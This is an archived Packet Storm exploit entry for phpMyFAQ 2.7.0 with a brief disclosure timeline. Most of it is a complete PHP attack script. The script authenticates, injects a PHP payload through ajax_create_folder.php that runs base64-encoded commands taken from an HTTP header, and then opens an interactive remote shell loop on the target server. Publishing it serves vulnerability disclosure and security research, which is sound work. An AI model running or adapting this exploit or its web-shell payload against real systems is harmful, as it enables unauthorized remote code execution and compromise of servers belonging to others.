phpMyFAQ 2.7.0 Code Execution

2011-11-06T00:00:00
ID PACKETSTORM:106625
Type packetstorm
Reporter EgiX
Modified 2011-11-06T00:00:00

Description

                                        
                                            `<?php  
  
/*  
------------------------------------------------------------------------  
phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution Exploit  
------------------------------------------------------------------------  
  
author............: Egidio Romano aka EgiX  
mail..............: n0b0d13s[at]gmail[dot]com  
software link.....: http://www.phpmyfaq.de/  
  
+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+  
  
[-] Vulnerability overview:  
  
All versions of phpMyFAQ <= 2.6.18 and phpMyFAQ <= 2.7.0 are affected by the  
vulnerability that I reported to http://www.exploit-db.com/exploits/18075/  
Successful exploitation of this vulnerability requires authentication.  
  
[-] Disclosure timeline:  
  
[23/10/2011] - Vulnerability discovered  
[24/10/2011] - Issue reported to http://forum.phpmyfaq.de/viewtopic.php?t=13402  
[25/10/2011] - Fix released, more details at http://www.phpmyfaq.de/advisory_2011-10-25.php  
[05/11/2011] - Public disclosure  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (!($sock = fsockopen($host, 80)))  
die( "\n[-] No response from {$host}:80\n");  
  
fwrite($sock, $packet);  
return stream_get_contents($sock);  
}  
  
print "\n+---------------------------------------------------------+";  
print "\n| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |";  
print "\n+---------------------------------------------------------+\n";  
  
if ($argc < 5)  
{  
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /phpmyfaq/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$payload = "faqusername={$argv[3]}&faqpassword={$argv[4]}";  
$packet = "POST {$path}?action=login HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cookie: pmf_auth=foo\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n{$payload}";  
  
if (!preg_match("/pmf_auth=([^;]*);/", http_send($host, $packet), $auth)) die("\n[-] Login failed!\n");  
  
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/ajax_login.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
http_send($host, $packet);  
  
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";  
$packet = "POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n{$payload}";  
  
http_send($host, $packet);  
  
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\nphpmyfaq-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?  
print $m[1] : die("\n[-] Exploit failed!\n");  
}  
  
?>  
  
`